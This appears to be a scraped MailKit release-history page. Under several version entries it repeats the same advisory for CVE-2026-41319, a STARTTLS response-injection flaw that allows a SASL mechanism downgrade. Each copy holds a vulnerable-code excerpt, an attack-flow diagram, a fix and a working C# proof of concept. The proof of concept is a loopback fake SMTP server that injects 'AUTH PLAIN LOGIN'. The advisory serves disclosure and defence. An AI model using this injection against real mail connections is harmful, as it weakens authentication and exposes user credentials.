Jan 02, 2021

2.10.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Nov 21, 2020

2.9.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Sep 12, 2020

2.8.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jul 11, 2020

2.7.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
